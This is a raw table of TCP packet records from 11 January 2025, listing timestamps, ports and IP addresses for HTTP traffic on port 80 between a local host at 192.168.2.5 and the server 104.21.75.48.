Jan 11, 2025 06:50:57.422619104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422637939 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422646999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422661066 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422667980 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422678947 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422687054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422694921 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422723055 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422799110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422835112 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422842026 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422853947 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422894955 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422894955 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422916889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422929049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422944069 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422955036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422965050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422976017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422987938 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423000097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423017025 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423024893 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423036098 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423059940 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423234940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423249006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423273087 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423285007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423290014 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423306942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423326015 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423335075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423342943 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423382044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423413992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423427105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423448086 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423485994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423497915 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423506975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423506975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423522949 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423532009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423568964 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423635006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423671007 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423688889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423706055 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423734903 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423739910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423748970 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423763037 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423780918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423791885 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423801899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423815012 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423824072 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423854113 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.423953056 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423981905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.423991919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424002886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424010992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424043894 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424117088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424129009 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424146891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424154997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424170017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424176931 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424186945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424192905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424202919 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424211979 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424225092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424242973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424285889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424295902 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424319029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424324036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424334049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424354076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424360991 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424371958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424397945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424407959 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424413919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424426079 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424441099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424458981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424463987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424479961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424489975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424501896 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424510956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424535036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424770117 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424781084 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424801111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424814939 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424822092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424827099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424849033 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424868107 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424890995 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424915075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424922943 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424937010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424947023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.424958944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424968004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.424985886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425013065 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425023079 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425044060 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425051928 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425071955 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425082922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425093889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425108910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425123930 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425132036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425148964 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425154924 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425167084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425178051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425185919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425199032 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425214052 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425231934 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425416946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425453901 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425502062 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425513029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425534964 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425545931 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425560951 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425575018 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425582886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425597906 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425604105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425618887 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425640106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425647974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425658941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425678968 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425690889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425699949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425709009 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425720930 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425734997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425745964 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425755978 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425767899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425777912 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425790071 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425801992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425811052 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425818920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.425827026 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.425887108 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508260965 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508299112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508316040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508332968 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508342981 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508371115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508371115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508382082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508390903 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508410931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508434057 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508441925 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508450985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508469105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508490086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508503914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508510113 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508523941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508536100 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508546114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508560896 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508574009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508584023 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508594036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508601904 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508615971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508635044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508642912 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508654118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508662939 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508686066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508693933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508709908 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508729935 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508742094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508757114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508763075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508780003 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508788109 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508800030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508809090 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508821011 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508831024 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508838892 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508848906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508858919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508876085 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508884907 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508898973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508913040 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508919954 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508934975 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508941889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508953094 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508956909 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.508970022 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.508991957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509027004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509037018 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509061098 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509067059 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509077072 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509095907 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509107113 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509119987 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509149075 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509169102 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509181976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509200096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509210110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509219885 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509236097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509247065 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509254932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509264946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509284019 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509294033 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509303093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509330034 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509335995 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509349108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509370089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509377003 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509388924 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509396076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509411097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509419918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509443045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509471893 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509650946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509675980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509687901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509699106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509711981 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509728909 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509736061 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509746075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509764910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509782076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509787083 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509797096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509824991 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509829998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509839058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509851933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509860992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509869099 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509882927 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509902000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509916067 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509924889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509933949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509948015 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509958029 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.509970903 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.509982109 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510000944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510005951 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510020971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510037899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510041952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510052919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510071039 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510080099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510094881 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510111094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510117054 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510135889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510145903 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510154963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510174990 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510188103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510199070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510217905 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510226965 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510236025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510246038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510266066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510276079 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510293007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510299921 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510313034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510322094 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510337114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510354042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510361910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510374069 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510395050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510407925 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510416031 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510431051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510442019 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510454893 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510462999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510474920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510483980 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510505915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510513067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510524035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510540962 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510550022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510560989 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510572910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510581970 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510592937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510607004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510615110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510623932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510648012 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510756969 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510796070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510814905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510829926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510852098 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.510860920 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.510874033 CET	49704	80	192.168.2.5	104.21.75.48
